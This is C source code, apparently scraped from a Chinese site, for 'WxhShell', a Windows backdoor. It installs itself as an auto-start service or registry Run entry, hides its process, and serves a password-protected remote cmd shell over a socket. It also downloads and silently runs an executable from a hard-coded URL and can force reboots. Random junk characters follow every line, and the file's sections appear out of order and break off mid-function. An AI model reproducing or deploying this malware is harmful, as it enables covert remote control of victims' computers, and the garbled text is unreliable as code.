    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wnHfjF  
    if(Boot(SHUTDOWN)) aA'of>'ib|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D|IS@gWa  
    else { '8;'V%[+  
    closesocket(wsh); S%df'bh$  
    ExitThread(0); q5\iQ2f{WV  
    } #E#Fk3-ljQ  
    break; !k!1 h%7q  
    } F[]6U/g n  
  // 获取shell >YR2h/S  
  case 's': { d^d+8R  
    CmdShell(wsh); M# cJ&+rP  
    closesocket(wsh); gPIl:, d(  
    ExitThread(0); !EGpI@  
    break; DC2[g9S>8@  
  } 6bT>x5?  
  // 退出 ?vQ:z{BO  
  case 'x': { ZNJ<@K-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); - #-Bo  
    CloseIt(wsh); 6dhzx; A  
    break; k\\e`=  
    } -!IeP]n#P  
  // 离开 |2Uw8M7.E  
  case 'q': { XzPUll;ZU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Gyb|{G_  
    closesocket(wsh); bfI= =  
    WSACleanup(); >{>X.I~  
    exit(1); SZ~lCdWad  
    break; 3zMaHh)mj  
        } )C0d*T0i  
  } J>1%* Tz  
  } O"J"H2}S  
Op:$7hv  
  // 提示信息 Bv#?.0Ez;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  huvn_  
} rTim1<IXR  
  } &.P G2f*  
HF*j=qt!  
  return; n _kE  
} ' 1X^@]+6  
,>Dpt <  
// shell模块句柄 @?bY,  
int CmdShell(SOCKET sock) =ba1::18  
{ 5-UrHbpCZ#  
STARTUPINFO si; kc<5wY_t  
ZeroMemory(&si,sizeof(si)); Ey{p;;H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NKl`IiGv  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pRA%07?W  
PROCESS_INFORMATION ProcessInfo; s01=C3  
char cmdline[]="cmd"; Cng_*\=O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FSYs1Li_C  
  return 0; |\W~+}'g~  
} b(t8TR#-  
H\$uRA oo*  
// 自身启动模式 -FW^fGS+  
int StartFromService(void) ~ /rKKc  
{ nK#%Od{GF  
typedef struct .9vt<<Kwh  
{ $.4N@=s,?c  
  DWORD ExitStatus; JH*fxG  
  DWORD PebBaseAddress; 8Z3:jSgk  
  DWORD AffinityMask; K9 +\Z  
  DWORD BasePriority; @T J  
  ULONG UniqueProcessId; I8k+Rk*  
  ULONG InheritedFromUniqueProcessId; ~cV";cD5  
}   PROCESS_BASIC_INFORMATION; C$4{'J-ZH  
H'Jz:6   
PROCNTQSIP NtQueryInformationProcess; 3Pvz57z{  
gZ8JfA_\R(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; . Ctd$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h=^UMat-  
+'_ peT.8  
  HANDLE             hProcess; ,\N4tG1\  
  PROCESS_BASIC_INFORMATION pbi; MHJRBn{}  
O+]'*~a  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1C0' Gf)3  
  if(NULL == hInst ) return 0; V!NRBXg  
wLNk XC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?} lqu7S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); L nyow}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Pk=0pHH8q  
h.kjJF  
  if (!NtQueryInformationProcess) return 0; U5p3b;  
`uC^"R(m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <r m)c.  
  if(!hProcess) return 0; y{ 2\T  
w:x[ kA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \"w+4}  
wj5,_d)  
  CloseHandle(hProcess); b*ja,I4  
Q 7\j:.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T8d=@8g,%  
if(hProcess==NULL) return 0; Dw$RHogb~y  
F<Xtp8  
HMODULE hMod; `26.+>Z7  
char procName[255]; M*D@zb0ia  
unsigned long cbNeeded; 15OzO.Ud  
5 9i2*<k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); E6M*o+Y  
<'\!  
  CloseHandle(hProcess); 9 9^7Ek!z#  
O%w'n z"  
if(strstr(procName,"services")) return 1; // 以服务启动 204"\ mv  
#qv!1$}2  
  return 0; // 注册表启动 u=Xpu,q  
} 1DGl[k/zv  
Z[>fFg~N4  
// 主模块 8U}+9  
int StartWxhshell(LPSTR lpCmdLine) I'[;E.KU  
{ 6OqF-nso[E  
  SOCKET wsl; umCmxm r&  
BOOL val=TRUE; z[K)0@8 6  
  int port=0; Wr-I~>D%_  
  struct sockaddr_in door; ^m AxV7k  
Q$sC%P(y  
  if(wscfg.ws_autoins) Install(); q(A_k+NL  
}$g"|;<ha  
port=atoi(lpCmdLine); ;#mm_*L%@  
t<`d*M2w  
if(port<=0) port=wscfg.ws_port; F{c8{?:  
M^Tm{`O!  
  WSADATA data; ;aD?BD__Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xxwbX6^d  
FR>[ g`1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /U-+ClZi@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Cq'{ %  
  door.sin_family = AF_INET; HTMg{_r(%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7P]i|Q{  
  door.sin_port = htons(port); ^Cvt^cI  
Rt5pl,Nf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v6Wz:|G/u  
closesocket(wsl); 'K01"`#  
return 1; Z#D*HAd`  
} (:\L@j  
>V4r '9I  
  if(listen(wsl,2) == INVALID_SOCKET) { ?*ZQ:jH  
closesocket(wsl); I zVc  
return 1; #2"'tHf4  
} Y0J:c?,  
  Wxhshell(wsl); +SW|/oIU  
  WSACleanup(); MWK)Bn  
l/"!}wF  
return 0; /a)^)  
LROrhO  
} P1Eg%Y6  
{u -J?(s}  
// 以NT服务方式启动 _dW#[TCF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #{#k;va  
{ Ro4!y:2|  
DWORD   status = 0; e/#6qCE  
  DWORD   specificError = 0xfffffff; A/"2a55  
'St?nW3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /Ak\Q5O'3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <0? r# }  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rY8(`a  
  serviceStatus.dwWin32ExitCode     = 0; S9ic4rcd  
  serviceStatus.dwServiceSpecificExitCode = 0; 4bL? V^@7  
  serviceStatus.dwCheckPoint       = 0; Z^=(9 :  
  serviceStatus.dwWaitHint       = 0; 2##mVEo.(  
'Yh`B8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yu&muCA  
  if (hServiceStatusHandle==0) return; IO ]tO[P#  
hpYv*WH:  
status = GetLastError(); m)?0;9bt  
  if (status!=NO_ERROR) X*w;6 V  
{ XB B>"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3Bvz& `\  
    serviceStatus.dwCheckPoint       = 0; K9yZG  
    serviceStatus.dwWaitHint       = 0; +XW1,ly~  
    serviceStatus.dwWin32ExitCode     = status; qg|ark*1u  
    serviceStatus.dwServiceSpecificExitCode = specificError; Gm\)1b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  Z'l!/l!  
    return; U<>@)0~7g!  
  } ZS=;)  
=sefT@<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !ZvVj\{  
  serviceStatus.dwCheckPoint       = 0; %d40us8E  
  serviceStatus.dwWaitHint       = 0; ^f-)gZ&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2I& dTxIa  
} DY{v@ <3  
G)c+GoK  
// 处理NT服务事件,比如:启动、停止 <a&xhG}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G l2WbY  
{  R0F [  
switch(fdwControl) .726^2sx  
{ BwGOn)KL  
case SERVICE_CONTROL_STOP: Y6.Bi  
  serviceStatus.dwWin32ExitCode = 0; ;b. m X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `T{CB) ?9  
  serviceStatus.dwCheckPoint   = 0; m1X*I  
  serviceStatus.dwWaitHint     = 0; >[wB|V5  
  { lj:.}+]r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w=: c7Y+  
  } p#-=mXE/2  
  return; mAY/J0_  
case SERVICE_CONTROL_PAUSE: >j*0fb!:]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z;BEUtR c  
  break; r dtzz#7  
case SERVICE_CONTROL_CONTINUE: ~66v.`K!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A f!`7l-  
  break; E:+r.r"Y  
case SERVICE_CONTROL_INTERROGATE: ]YfG`0eK<  
  break; M?Q\ Hw  
}; p@O,-&/D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z@?y(E  
} }NRt:JC  
qs= i+  
// 标准应用程序主函数 gg8)oc+w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) m7Ry FnR2  
{ .j"heYF)  
x\yr~$}(J  
// 获取操作系统版本 ;]=@;? 9  
OsIsNt=GetOsVer(); JUXBMYFus  
GetModuleFileName(NULL,ExeFile,MAX_PATH); !0|&f>y  
:#_k`{WG  
  // 从命令行安装 #7]>ozKm  
  if(strpbrk(lpCmdLine,"iI")) Install(); r'_#rl  
z4` :n.  
  // 下载执行文件 l@u  "iGw  
if(wscfg.ws_downexe) { 6W3."};  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +lZ-xU1  
  WinExec(wscfg.ws_filenam,SW_HIDE); Eza^Tbq%j?  
} Z=;=9<vA  
e%4vvPp  
if(!OsIsNt) { {f*{dSm9b  
// 如果时win9x,隐藏进程并且设置为注册表启动 |2 =w":2#  
HideProc(); (~! @Uz5  
StartWxhshell(lpCmdLine); 7;C~>WlU  
} 3RxR'M1  
else fCnwDT  
  if(StartFromService()) CdcB E.%<  
  // 以服务方式启动 p]?eIovi  
  StartServiceCtrlDispatcher(DispatchTable); zf5%|7o  
else ZCb@!V}=  
  // 普通方式启动 <{hB&4oL  
  StartWxhshell(lpCmdLine); -*Qg^1]i+  
1=E}X5  
return 0; *UJB *r  
} 45iO2W uur  
,I+O;B:0  
kK 5~hpv  
\IzZJGi  
=========================================== 9$ VdYw7D  
u`oJ3mS;  
<Hz11 }<(  
CDW| cr{  
7~ZG"^k  
SrOv* D3  
" kkj@!1q(wO  
:B|rs&  
#include <stdio.h> Wf%)::G*uR  
#include <string.h> (Ia:>ocE0  
#include <windows.h> HM"(cB(n`  
#include <winsock2.h> z&um9rXR  
#include <winsvc.h> `/wXx5n5<  
#include <urlmon.h> ~x_(v,NW  
xlgT1b:6  
#pragma comment (lib, "Ws2_32.lib") ?qn4 ea-\P  
#pragma comment (lib, "urlmon.lib") {l_D+B;  
;eO Ye3;c  
#define MAX_USER   100 // 最大客户端连接数 gh"_,ZhZt  
#define BUF_SOCK   200 // sock buffer {_z6  
#define KEY_BUFF   255 // 输入 buffer m}: X\G(6Q  
d~QJ}a  
#define REBOOT     0   // 重启 IF//bgk-  
#define SHUTDOWN   1   // 关机 -GQ.B{%G  
T2mZkK?rA  
#define DEF_PORT   5000 // 监听端口 NcX-* o  
,'l.u?SKyd  
#define REG_LEN     16   // 注册表键长度 2"P1I  
#define SVC_LEN     80   // NT服务名长度 qEdY]t   
h\Zh^B6J  
// 从dll定义API !y!s/i&P%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @cm[]]f'l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^r]-v++  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4K4u]"1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,5K&f\  
9jl\H6JY|  
// wxhshell配置信息 |c-`XC2g  
struct WSCFG { gB,Q4acjj  
  int ws_port;         // 监听端口 4xFAFK~lx  
  char ws_passstr[REG_LEN]; // 口令 @:!%Z`  
  int ws_autoins;       // 安装标记, 1=yes 0=no miCY?=N`  
  char ws_regname[REG_LEN]; // 注册表键名 7Bf4ojKt  
  char ws_svcname[REG_LEN]; // 服务名 o(t`XE['<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &qa16bz  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ZC^?ng  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 pH@yE Vf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _nw\ac#*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +l7Bu}_?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -ucR@P]  
}:0HM8B7!  
}; =umF C[. W  
.Dr7YquW  
// default Wxhshell configuration nRX<$OzTV  
struct WSCFG wscfg={DEF_PORT, DAEWa Kui  
    "xuhuanlingzhe",  e+@.n  
    1, 7bJM $  
    "Wxhshell", >S?7-2X  
    "Wxhshell", kaDn= ={YM  
            "WxhShell Service", : R8+jO   
    "Wrsky Windows CmdShell Service", y92<(ziaX)  
    "Please Input Your Password: ", >4#\ U!  
  1, `0{qfms  
  "http://www.wrsky.com/wxhshell.exe", U?(,Z$:N  
  "Wxhshell.exe" p4b6TI9;  
    }; :4COPUBpPV  
\D[~54  
// 消息定义模块 sn@)L~$V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9@*4^Ks p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; icK U)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?C6`  
char *msg_ws_ext="\n\rExit."; \OK}DhY#  
char *msg_ws_end="\n\rQuit."; PKs$Q=Ol<|  
char *msg_ws_boot="\n\rReboot..."; ({!*&DVu  
char *msg_ws_poff="\n\rShutdown..."; |txzIc.#  
char *msg_ws_down="\n\rSave to "; '_g*I  
Yt4v}{+  
char *msg_ws_err="\n\rErr!"; )IE) a[wo  
char *msg_ws_ok="\n\rOK!"; *I9G"R8  
VC!g,LU|-  
char ExeFile[MAX_PATH]; b1ZHfe:  
int nUser = 0; qEjsAL  
HANDLE handles[MAX_USER]; 6|%HCxWO  
int OsIsNt; Ax!fvcsN  
O}7aX '  
SERVICE_STATUS       serviceStatus; \l 3M\$oS>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `k08M)  
RWn#"~  
// 函数声明 MpJx>0j/J  
int Install(void); [@s5v  
int Uninstall(void); bW'Y8ok[v  
int DownloadFile(char *sURL, SOCKET wsh); 6M8(KN^  
int Boot(int flag); -%t8a42  
void HideProc(void); -ktYS(8&  
int GetOsVer(void); WxF@'kdn*,  
int Wxhshell(SOCKET wsl); e}L(tXZ  
void TalkWithClient(void *cs); ;[Hrpl S  
int CmdShell(SOCKET sock);  R"PO@v  
int StartFromService(void); Q@UY4gA '  
int StartWxhshell(LPSTR lpCmdLine); q{)Q ?E  
KV'-^\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2Xfy?U  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <^8OYnp  
?Ye%k  
// 数据结构和表定义 ]O+Nl5*  
SERVICE_TABLE_ENTRY DispatchTable[] = +Nka,C^O"  
{ ;!>>C0s"  
{wscfg.ws_svcname, NTServiceMain}, /3~}= b  
{NULL, NULL} sZU Ao&  
}; tLx8}@X"  
]}A yDy6C  
// 自我安装 v8A{ q  
int Install(void) QOF'SEq"k  
{ 9, 792b  
  char svExeFile[MAX_PATH]; N{zou?+  
  HKEY key; E`uK7 2j  
  strcpy(svExeFile,ExeFile); /s`xPxvt  
*Kw/ilI  
// 如果是win9x系统,修改注册表设为自启动 hzX&BI  
if(!OsIsNt) { B&H [z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { TC'^O0aZ_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N;e*eMFE  
  RegCloseKey(key); 1) G6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .s@[-! p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #.\X% !  
  RegCloseKey(key); N" oJ3-~  
  return 0; %] 7.E  
    } ymyk.#Z<%  
  } !^A t{[U  
} 2O9OEZdKB  
else { i{/nHrN  
woK?td|/  
// 如果是NT以上系统,安装为系统服务 HLM"dmI   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); = G3A}  
if (schSCManager!=0) y|Zj M  
{ 2c<phmiK  
  SC_HANDLE schService = CreateService *r]#jY4qx  
  ( ~wRozV  
  schSCManager, [ x|{VJ(h  
  wscfg.ws_svcname, &,`P%a&k  
  wscfg.ws_svcdisp, Aaix? |XN  
  SERVICE_ALL_ACCESS, GpM_ Qp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b ~FmX  
  SERVICE_AUTO_START, =p';y&   
  SERVICE_ERROR_NORMAL, pG:)u cj  
  svExeFile, u@zBE? g  
  NULL, -^7n+ QX  
  NULL, zL3'',Ha  
  NULL, doaqHri\,  
  NULL, tt>=Vt '  
  NULL h9J  
  ); _26F[R1><~  
  if (schService!=0) ktKT=(F&  
  { hC =="4 -  
  CloseServiceHandle(schService); x;R9Gc[5  
  CloseServiceHandle(schSCManager); <$ Ar*<,6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z?-l-s K  
  strcat(svExeFile,wscfg.ws_svcname); ;q$O^r~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1e^-_Bo6'o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (wIpq<%  
  RegCloseKey(key); ouUU(jj02  
  return 0; \6${Na' \  
    } c =i6  
  } n _*k e  
  CloseServiceHandle(schSCManager); Nm=W?i  
} pc%_:>  
} 1 {V*(=Tp  
xTL"%'|  
return 1; SLc'1{  
} 07+Qai-]  
D*j\gI  
// 自我卸载 QRv2%^L  
int Uninstall(void) r yO\$m  
{ 6y9#am?  
  HKEY key; ToVm]zPOUt  
@YTZnGG*  
if(!OsIsNt) { Io&F0~Z;;(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5q?ZuAAA  
  RegDeleteValue(key,wscfg.ws_regname); b=+'i  
  RegCloseKey(key); ?o9g5Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *^u5?{$l(  
  RegDeleteValue(key,wscfg.ws_regname); Kq;Yb&  
  RegCloseKey(key); |ldRs'c{  
  return 0; 6(}8[i:  
  } SpY%2Y.Dy  
} ""ICdZ_A  
} PZ"=t!  
else { 9YpD\H`  
.r?-O{2t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !}^ {W)h[  
if (schSCManager!=0) ZWSYh>"  
{ OE/O:F:1j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); HLU'1As65  
  if (schService!=0) JQ8wL _C>  
  { X}xy v  
  if(DeleteService(schService)!=0) { / %U+kW  
  CloseServiceHandle(schService); a ^b_&}y  
  CloseServiceHandle(schSCManager); Bn/ {J  
  return 0; GV([gs  
  } igsJa1F  
  CloseServiceHandle(schService); v >71 ?te  
  } @D rMaTr  
  CloseServiceHandle(schSCManager); /E@|  
} $R7n1  
} \5Jpr'mY5  
DxT8;`I%  
return 1; gX34'<Z  
} n-{G19?  
7!`,P  
// 从指定url下载文件 snV,rZ  
int DownloadFile(char *sURL, SOCKET wsh) s7<x~v+^  
{ FHI` /  
  HRESULT hr; AjK'P<:/  
char seps[]= "/"; g#1_`gK  
char *token; Jn. WbS  
char *file; g~Zel}h#  
char myURL[MAX_PATH]; ,\f!e#d  
char myFILE[MAX_PATH]; Qe=!'u.nL  
`|;R}"R;  
strcpy(myURL,sURL); ;K0kQ<y-Y  
  token=strtok(myURL,seps); W@1Nit-R  
  while(token!=NULL) ?*a:f"vQ  
  { @U(D&_H,K  
    file=token; C-$S]6  
  token=strtok(NULL,seps); 1 {dhGX  
  } n=n!Hn  
EOjo>w>  
GetCurrentDirectory(MAX_PATH,myFILE); k9.2*+vvg  
strcat(myFILE, "\\"); }}v;V*_V  
strcat(myFILE, file); [|\~-6"7N|  
  send(wsh,myFILE,strlen(myFILE),0); 8|`4D 'Ln  
send(wsh,"...",3,0); qde.;Yv9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]z,W1Zs?  
  if(hr==S_OK) / PAxPZf_  
return 0; xGJ{_M  
else o64&BpCK  
return 1; 70l"[Y  
&CFHH"OsT  
} /v E>*x  
VAF+\Cea=  
// 系统电源模块 ~&=-*  
int Boot(int flag) }N1Z7G  
{ jx&pRjP  
  HANDLE hToken; #z)@T  
  TOKEN_PRIVILEGES tkp; i3*S`/]p  
" ;cWK29\f  
  if(OsIsNt) { nW3`Z1kq})  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?C6iJnm  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ojzO?z  
    tkp.PrivilegeCount = 1; vW 0m%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6yKr5tH4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6e$(-ai  
if(flag==REBOOT) { wGE:U`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Aq}]{gfQ1  
  return 0; _mKO4Atw  
} n0kBLn  
else { -82Rz   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zo&'2I  
  return 0; _H|x6X1-  
} &)OX*y  
  } H3}{]&a  
  else { 0x'>}5`5  
if(flag==REBOOT) { HiEXw}Hkz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q-3%.<LL  
  return 0; LZV  
} xj iMM>|n  
else { !dYkvoQNn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ad8kUHf  
  return 0; R}a,.C  
} Sve~-aG  
} ;=Jj{FoG%  
Slcf=  
return 1; r@0HqZx`  
} agN`) F!  
>sdj6^[+  
// win9x进程隐藏模块 {=j!2v#8~  
void HideProc(void) .0S.7w3dZo  
{ b40zYH`'{  
5@bLD P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); KD*,u{v;  
  if ( hKernel != NULL ) !9DqW&8  
  { ' D+h_*H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~S15tZ $  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .HF+JHIUu  
    FreeLibrary(hKernel); f*7/O |Gp  
  } |j$&W;yC  
IY?[0S  
return; gR"'|c   
} bWo-( qxq  
2c@R!*  
// 获取操作系统版本 ~sshhuF  
int GetOsVer(void) /cUcfe#X  
{ (X@JlAfB  
  OSVERSIONINFO winfo; 0: R}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0F6^[osqtl  
  GetVersionEx(&winfo); h #Od tc1)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y.26:c(  
  return 1; =O1N*'e  
  else 6]rIYc[,  
  return 0; k!b\qS~Q  
} Mb=vIk{B f  
n;)!N  
// 客户端句柄模块 | Uf6k`  
int Wxhshell(SOCKET wsl) v-J*PB.0p  
{ ;(fDR8  
  SOCKET wsh; >XjSVRO  
  struct sockaddr_in client; NduvfA4  
  DWORD myID; lwaxj7  
(p'yya{(  
  while(nUser<MAX_USER) >_(Xb %w  
{ "]Wrir?l  
  int nSize=sizeof(client); +^YXqOXU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O E0w/{  
  if(wsh==INVALID_SOCKET) return 1; T>e!DOW;  
=0TnH<`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mS5'q q;t  
if(handles[nUser]==0) '+N!3r{G  
  closesocket(wsh); 1w/1k6`0  
else }$s#H{T!  
  nUser++; \dTX%<5D  
  } \R yOexNZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); FA<|V!a  
R<@s]xX_  
  return 0; M5s>;q)  
} k{(R.gLZG  
b26#0;i  
// 关闭 socket fi^ I1*S  
void CloseIt(SOCKET wsh) b[<r+e8  
{ `@q[&^  
closesocket(wsh); u~7mH  
nUser--; xV[X#.3  
ExitThread(0); Nl,M9  
} xQ9P'ru  
M?Tb9c?`  
// 客户端请求句柄 T_|%n F-+  
void TalkWithClient(void *cs) %bgjJ`  
{ "i_I<?aGB  
~+}w>jIm{|  
  SOCKET wsh=(SOCKET)cs; S#6{4x4  
  char pwd[SVC_LEN]; lxx)l(&  
  char cmd[KEY_BUFF]; qk;*$Q  
char chr[1]; u+UtvzUC  
int i,j; b}< T<  
x.CUJ^_.  
  while (nUser < MAX_USER) { q`_d>l  
je@F:5  
if(wscfg.ws_passstr) { B:#5U85m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W~(@*H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7Vd"k;:X  
  //ZeroMemory(pwd,KEY_BUFF); Rd@34"O  
      i=0; kIhP 73M  
  while(i<SVC_LEN) { A5cx!h  
NFw7g&1;Kp  
  // 设置超时 m/RX~,T*v&  
  fd_set FdRead; |VxEW U/  
  struct timeval TimeOut; VI7f}  
  FD_ZERO(&FdRead); )Kkw$aQI"d  
  FD_SET(wsh,&FdRead); Z&9MtpC+N3  
  TimeOut.tv_sec=8; G66sP w  
  TimeOut.tv_usec=0; "S)2<tV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <qjNX-|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @q:v?AO  
?=,4{(/)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I.BsKB  
  pwd=chr[0]; I[,tf!  
  if(chr[0]==0xd || chr[0]==0xa) { dCv@l7hE  
  pwd=0; &HBqweI  
  break; i3#To}g5V  
  } ya7PF~:E-  
  i++; F5la:0fb  
    } !=%0  
)rcFBD{vM  
  // 如果是非法用户,关闭 socket zmd,uhNc:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )a"rj5~-  
} .XDY1~w0  
U$jw8I'.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D#Qfa!=g  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VQ wr8jXye  
" !43,!<  
while(1) { \ldjWc<S  
nF$n[:  
  ZeroMemory(cmd,KEY_BUFF); ,ab_u@  
W[Kv Qt3%  
      // 自动支持客户端 telnet标准   )c|S)iJ7=z  
  j=0; !-%fCg(B  
  while(j<KEY_BUFF) { I3sH8/*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gwVfiXR4  
  cmd[j]=chr[0]; wMFo8;L  
  if(chr[0]==0xa || chr[0]==0xd) { -7jP'l=h  
  cmd[j]=0; J |4q9$  
  break; n.9k<  
  } vC$Q4>m  
  j++; HQPb  
    } fXfBDB  
}?[^q  
  // 下载文件 74f3a|vx/  
  if(strstr(cmd,"http://")) { 0-Z sV3I&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )Dn~e#  
  if(DownloadFile(cmd,wsh)) V)x(\ls]SX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qkQ _#  
  else +LBDn"5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,K4*0!TXP  
  } fDe4 [QQ8  
  else { vn oI.;H,  
dLA'cQId  
    switch(cmd[0]) { Qa*?iD  
